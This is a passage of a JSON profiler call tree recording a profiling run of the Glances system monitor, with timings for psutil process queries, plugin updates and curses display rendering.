[{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.002003,\"attributes\": {\"cProcess\": 0.0020034579938510433, \"l687\": 0.0020034579938510433},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000746\",\"time\": 0.002003,\"attributes\": {\"cProcess\": 0.0020034579938510433, \"l748\": 0.0020034579938510433},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002003,\"attributes\": {\"cProcess\": 0.0020034579938510433, \"l1593\": 0.0020034579938510433},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001748\",\"time\": 0.002003,\"attributes\": {\"cProcess\": 0.0020034579938510433, \"l1750\": 0.0020034579938510433},\"children\": [{\"identifier\": \"open_text\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000685\",\"time\": 0.002003,\"attributes\": {\"l692\": 0.0020034579938510433},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002003,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.002012,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.001985,\"attributes\": {},\"children\": []},{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000937\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020007749990327284, \"l939\": 0.0020007749990327284},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020007749990327284, \"l1593\": 0.0020007749990327284},\"children\": [{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002049\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020007749990327284, \"l2052\": 0.0020007749990327284},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020007749990327284, \"l1593\": 0.0020007749990327284},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020007749990327284, \"l382\": 0.0020007749990327284},\"children\": [{\"identifier\": \"_read_status_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001711\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020007749990327284, \"l1719\": 0.0020007749990327284},\"children\": [{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.002001,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.0019979179996880703, \"l382\": 0.0019979179996880703},\"children\": [{\"identifier\": \"cpu_times\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001118\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.0019979179996880703, \"l1127\": 0.0019979179996880703},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.0019979179996880703, \"l1593\": 0.0019979179996880703},\"children\": [{\"identifier\": \"cpu_times\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001827\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.0019979179996880703, \"l1835\": 0.0019979179996880703},\"children\": [{\"identifier\": \"<lambda>\\u0000<string>\\u00001\",\"time\": 0.001998,\"attributes\": {\"l1\": 0.0019979179996880703},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"getattr\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]},{\"identifier\": \"gids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000808\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019998220013803802, \"l812\": 0.0019998220013803802},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019998220013803802, \"l1593\": 0.0019998220013803802},\"children\": [{\"identifier\": \"gids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002265\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019998220013803802, \"l2268\": 0.0019998220013803802},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"is_running\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000625\",\"time\": 0.010003,\"attributes\": {\"cProcess\": 0.010002636998251546, \"l639\": 0.010002636998251546},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000313\",\"time\": 0.010003,\"attributes\": {\"cProcess\": 0.010002636998251546, \"l314\": 0.010002636998251546},\"children\": [{\"identifier\": \"_init\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000316\",\"time\": 0.010003,\"attributes\": {\"cProcess\": 0.010002636998251546, \"l345\": 0.002001057000597939, \"l347\": 0.006008461998135317, \"l341\": 0.00199311799951829},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []},{\"identifier\": \"_get_ident\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000363\",\"time\": 0.004006,\"attributes\": {\"cProcess\": 0.004006302995549049, \"l394\": 0.004006302995549049},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.004006,\"attributes\": {\"cProcess\": 0.004006302995549049, \"l1593\": 0.004006302995549049},\"children\": [{\"identifier\": \"create_time\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001848\",\"time\": 0.004006,\"attributes\": {\"cProcess\": 0.004006302995549049, \"l1857\": 0.004006302995549049},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.004006,\"attributes\": {\"cProcess\": 0.004006302995549049, \"l1593\": 0.004006302995549049},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.004006,\"attributes\": {\"cProcess\": 0.004006302995549049, \"l375\": 0.004006302995549049},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.004006,\"attributes\": {\"cProcess\": 0.004006302995549049, \"l1683\": 0.004006302995549049},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.004006,\"attributes\": {\"l730\": 0.004006302995549049},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.004006,\"attributes\": {\"l718\": 0.004006302995549049},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.004006,\"attributes\": {\"l682\": 0.004006302995549049},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.004006,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.002006,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"__init__\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001623\",\"time\": 0.001993,\"attributes\": {\"cProcess\": 0.00199311799951829, \"l1628\": 0.00199311799951829},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001993,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_ident\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000363\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.002002159002586268, \"l394\": 0.002002159002586268},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.002002159002586268, \"l1593\": 0.002002159002586268},\"children\": [{\"identifier\": \"create_time\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001848\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.002002159002586268, \"l1857\": 0.002002159002586268},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.002002159002586268, \"l1593\": 0.002002159002586268},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.002002159002586268, \"l375\": 0.002002159002586268},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.002002159002586268, \"l1683\": 0.002002159002586268},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.002002,\"attributes\": {\"l730\": 0.002002159002586268},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.002002,\"attributes\": {\"l719\": 0.002002159002586268},\"children\": [{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.002002,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"maybe_add_cached_stats\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000567\",\"time\": 0.001999,\"attributes\": {\"cGlancesProcesses\": 0.0019985990002169274, \"l572\": 0.0019985990002169274},\"children\": [{\"identifier\": \"as_dict\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000545\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019985990002169274, \"l579\": 0.0019985990002169274},\"children\": [{\"identifier\": \"username\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000757\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019985990002169274, \"l766\": 0.0019985990002169274},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019985990002169274, \"l382\": 0.0019985990002169274},\"children\": [{\"identifier\": \"uids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000801\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019985990002169274, \"l806\": 0.0019985990002169274},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019985990002169274, \"l1593\": 0.0019985990002169274},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"update_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000683\",\"time\": 0.004000,\"attributes\": {\"cGlancesProcesses\": 0.003999852000561077, \"l689\": 0.003999852000561077},\"children\": [{\"identifier\": \"list_of_namedtuple_to_list_of_dict\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000587\",\"time\": 0.004000,\"attributes\": {\"l589\": 0.003999852000561077},\"children\": [{\"identifier\": \"namedtuple_to_dict\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000582\",\"time\": 0.004000,\"attributes\": {\"l584\": 0.003999852000561077},\"children\": [{\"identifier\": \"hasattr\\u0000<built-in>\\u00000\",\"time\": 0.004000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/programlist/__init__.py\\u0000148\",\"time\": 0.002056,\"attributes\": {\"cProgramlistPlugin\": 0.002056491000985261, \"l155\": 0.002056491000985261},\"children\": [{\"identifier\": \"get_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000704\",\"time\": 0.002056,\"attributes\": {\"cGlancesProcesses\": 0.002056491000985261, \"l711\": 0.002056491000985261},\"children\": [{\"identifier\": \"processes_to_programs\\u0000/home/nicolargo/dev/glances/glances/programs.py\\u000062\",\"time\": 0.002056,\"attributes\": {\"l69\": 0.002056491000985261},\"children\": [{\"identifier\": \"create_program_dict\\u0000/home/nicolargo/dev/glances/glances/programs.py\\u000017\",\"time\": 0.002056,\"attributes\": {\"l19\": 0.002056491000985261},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002056,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000658\",\"time\": 0.022314,\"attributes\": {\"cProgramlistPlugin\": 0.007941654999740422, \"l678\": 0.019941090999054722, \"cPercpuPlugin\": 0.0020017269998788834, \"cProcesslistPlugin\": 0.012370500000542961, \"l686\": 0.0023727910011075437},\"children\": [{\"identifier\": \"_build_view_for_field\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000631\",\"time\": 0.019941,\"attributes\": {\"cProgramlistPlugin\": 0.007941654999740422, \"l633\": 0.015943052996590268, \"l656\": 0.0019986010011052713, \"l634\": 0.0019994370013591833, \"cPercpuPlugin\": 0.0020017269998788834, \"cProcesslistPlugin\": 0.009997708999435417},\"children\": [{\"identifier\": \"_build_field_decoration\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000606\",\"time\": 0.001943,\"attributes\": {\"cProgramlistPlugin\": 0.0019432889966992661, \"l619\": 0.0019432889966992661},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001943,\"attributes\": {},\"children\": []}]},{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []},{\"identifier\": \"_build_field_decoration\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000606\",\"time\": 0.014000,\"attributes\": {\"cProgramlistPlugin\": 0.002000328000576701, \"l619\": 0.004098819001228549, \"cPercpuPlugin\": 0.0020017269998788834, \"l614\": 0.00599159300327301, \"cProcesslistPlugin\": 0.009997708999435417, \"l621\": 0.003909351995389443},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []},{\"identifier\": \"dict.get\\u0000<built-in>\\u00000\",\"time\": 0.002002,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]},{\"identifier\": \"[self]\",\"time\": 0.002098,\"attributes\": {},\"children\": []},{\"identifier\": \"dict.get\\u0000<built-in>\\u00000\",\"time\": 0.001909,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001909,\"attributes\": {},\"children\": []}]},{\"identifier\": \"[self]\",\"time\": 0.001988,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"[self]\",\"time\": 0.002373,\"attributes\": {},\"children\": []}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001275\",\"time\": 0.017635,\"attributes\": {\"cFsPlugin\": 0.016250251996098086, \"l1278\": 0.017634550997172482, \"cIpPlugin\": 0.001384299001074396},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.017635,\"attributes\": {\"l1295\": 0.017634550997172482},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/fs/__init__.py\\u0000125\",\"time\": 0.016250,\"attributes\": {\"cFsPlugin\": 0.016250251996098086, \"l131\": 0.016250251996098086},\"children\": [{\"identifier\": \"update_local\\u0000/home/nicolargo/dev/glances/glances/plugins/fs/__init__.py\\u0000152\",\"time\": 0.016250,\"attributes\": {\"cFsPlugin\": 0.016250251996098086, \"l182\": 0.016250251996098086},\"children\": [{\"identifier\": \"wraps\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000618\",\"time\": 0.016250,\"attributes\": {\"l630\": 0.005177136990823783, \"l631\": 0.011073115005274303},\"children\": [{\"identifier\": \"start\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/process.py\\u0000110\",\"time\": 0.003410,\"attributes\": {\"cForkProcess\": 0.003410421995795332, \"l121\": 0.003410421995795332},\"children\": [{\"identifier\": \"_Popen\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/context.py\\u0000278\",\"time\": 0.003410,\"attributes\": {\"l281\": 0.003410421995795332},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000016\",\"time\": 0.003410,\"attributes\": {\"cPopen\": 0.003410421995795332, \"l20\": 0.003410421995795332},\"children\": [{\"identifier\": \"_launch\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000066\",\"time\": 0.003410,\"attributes\": {\"cPopen\": 0.003410421995795332, \"l70\": 0.003410421995795332},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.003410,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"join\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/process.py\\u0000149\",\"time\": 0.005754,\"attributes\": {\"cForkProcess\": 0.00575444500282174, \"l156\": 0.00575444500282174},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000037\",\"time\": 0.005754,\"attributes\": {\"cPopen\": 0.00575444500282174, \"l41\": 0.00575444500282174},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/connection.py\\u00001151\",\"time\": 0.005754,\"attributes\": {\"l1165\": 0.00575444500282174},\"children\": [{\"identifier\": \"select\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/selectors.py\\u0000385\",\"time\": 0.005754,\"attributes\": {\"cPollSelector\": 0.00575444500282174, \"l398\": 0.00575444500282174},\"children\": [{\"identifier\": \"poll.poll\\u0000<built-in>\\u00000\",\"time\": 0.005754,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.005754,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"start\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/process.py\\u0000110\",\"time\": 0.001767,\"attributes\": {\"cForkProcess\": 0.001766714995028451, \"l121\": 0.001766714995028451},\"children\": [{\"identifier\": \"_Popen\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/context.py\\u0000278\",\"time\": 0.001767,\"attributes\": {\"l281\": 0.001766714995028451},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000016\",\"time\": 0.001767,\"attributes\": {\"cPopen\": 0.001766714995028451, \"l20\": 0.001766714995028451},\"children\": [{\"identifier\": \"_launch\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000066\",\"time\": 0.001767,\"attributes\": {\"cPopen\": 0.001766714995028451, \"l70\": 0.001766714995028451},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001767,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"join\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/process.py\\u0000149\",\"time\": 0.005319,\"attributes\": {\"cForkProcess\": 0.0053186700024525635, \"l156\": 0.0053186700024525635},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000037\",\"time\": 0.005319,\"attributes\": {\"cPopen\": 0.0053186700024525635, \"l41\": 0.0053186700024525635},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/connection.py\\u00001151\",\"time\": 0.005319,\"attributes\": {\"l1165\": 0.0053186700024525635},\"children\": [{\"identifier\": \"select\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/selectors.py\\u0000385\",\"time\": 0.005319,\"attributes\": {\"cPollSelector\": 0.0053186700024525635, \"l398\": 0.0053186700024525635},\"children\": [{\"identifier\": \"poll.poll\\u0000<built-in>\\u00000\",\"time\": 0.005319,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.005319,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/ip/__init__.py\\u0000116\",\"time\": 0.001384,\"attributes\": {\"cIpPlugin\": 0.001384299001074396, \"l127\": 0.001384299001074396},\"children\": [{\"identifier\": \"get_stats_for_local_input\\u0000/home/nicolargo/dev/glances/glances/plugins/ip/__init__.py\\u0000138\",\"time\": 0.001384,\"attributes\": {\"cIpPlugin\": 0.001384299001074396, \"l140\": 0.001384299001074396},\"children\": [{\"identifier\": \"get_first_ip\\u0000/home/nicolargo/dev/glances/glances/plugins/ip/__init__.py\\u000089\",\"time\": 0.001384,\"attributes\": {\"cIpPlugin\": 0.001384299001074396, \"l90\": 0.001384299001074396},\"children\": [{\"identifier\": \"get_ip_address\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000740\",\"time\": 0.001384,\"attributes\": {\"l745\": 0.001384299001074396},\"children\": [{\"identifier\": \"net_if_stats\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00002289\",\"time\": 0.001384,\"attributes\": {\"l2301\": 0.001384299001074396},\"children\": [{\"identifier\": \"net_if_stats\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u0000992\",\"time\": 0.001384,\"attributes\": {\"l1005\": 0.001384299001074396},\"children\": [{\"identifier\": \"net_if_duplex_speed\\u0000<built-in>\\u00000\",\"time\": 0.001384,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001384,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]},{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/quicklook/__init__.py\\u0000165\",\"time\": 0.002002,\"attributes\": {\"cQuicklookPlugin\": 0.0020016690032207407, \"l168\": 0.0020016690032207407},\"children\": [{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000658\",\"time\": 0.002002,\"attributes\": {\"cQuicklookPlugin\": 0.0020016690032207407, \"l682\": 0.0020016690032207407},\"children\": [{\"identifier\": \"_build_view_for_field\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000631\",\"time\": 0.002002,\"attributes\": {\"cQuicklookPlugin\": 0.0020016690032207407, \"l633\": 0.0020016690032207407},\"children\": [{\"identifier\": \"_build_field_decoration\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000606\",\"time\": 0.002002,\"attributes\": {\"cQuicklookPlugin\": 0.0020016690032207407, \"l622\": 0.0020016690032207407},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.002002,\"attributes\": {\"cQuicklookPlugin\": 0.0020016690032207407, \"l882\": 0.0020016690032207407},\"children\": [{\"identifier\": \"manage_threshold\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000900\",\"time\": 0.002002,\"attributes\": {\"cQuicklookPlugin\": 0.0020016690032207407, \"l902\": 0.0020016690032207407},\"children\": [{\"identifier\": \"add\\u0000/home/nicolargo/dev/glances/glances/thresholds.py\\u000042\",\"time\": 0.002002,\"attributes\": {\"cGlancesThresholds\": 0.0020016690032207407, \"l48\": 0.0020016690032207407},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001138\",\"time\": 2.062880,\"attributes\": {\"cGlancesCursesStandalone\": 2.0628795029988396, \"l1154\": 0.0519921989980503, \"l1169\": 1.0062252589777927, \"l1172\": 1.0046620450229966},\"children\": [{\"identifier\": \"flush\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001124\",\"time\": 0.051992,\"attributes\": {\"cGlancesCursesStandalone\": 0.0519921989980503, \"l1135\": 0.0519921989980503},\"children\": [{\"identifier\": \"display\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000549\",\"time\": 0.051992,\"attributes\": {\"cGlancesCursesStandalone\": 0.0519921989980503, \"l569\": 0.049991787993349135, \"l603\": 0.0020004110047011636},\"children\": [{\"identifier\": \"__get_stat_display\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000514\",\"time\": 0.049992,\"attributes\": {\"cGlancesCursesStandalone\": 0.049991787993349135, \"l545\": 0.049991787993349135},\"children\": [{\"identifier\": \"get_stats_display\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001082\",\"time\": 0.049992,\"attributes\": {\"cProgramlistPlugin\": 0.021991865993186366, \"l1101\": 0.049991787993349135, \"cProcesslistPlugin\": 0.02799992200016277},\"children\": [{\"identifier\": \"msg_curse\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000556\",\"time\": 0.049992,\"attributes\": {\"cProgramlistPlugin\": 0.021991865993186366, \"l587\": 0.049991787993349135, \"cProcesslistPlugin\": 0.02799992200016277},\"children\": [{\"identifier\": \"get_process_curses_data\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000520\",\"time\": 0.049992,\"attributes\": {\"cProgramlistPlugin\": 0.021991865993186366, \"l538\": 0.040000103996135294, \"cProcesslistPlugin\": 0.02799992200016277, \"l539\": 0.005995496998366434, \"l531\": 0.003996186998847406},\"children\": [{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.001995,\"attributes\": 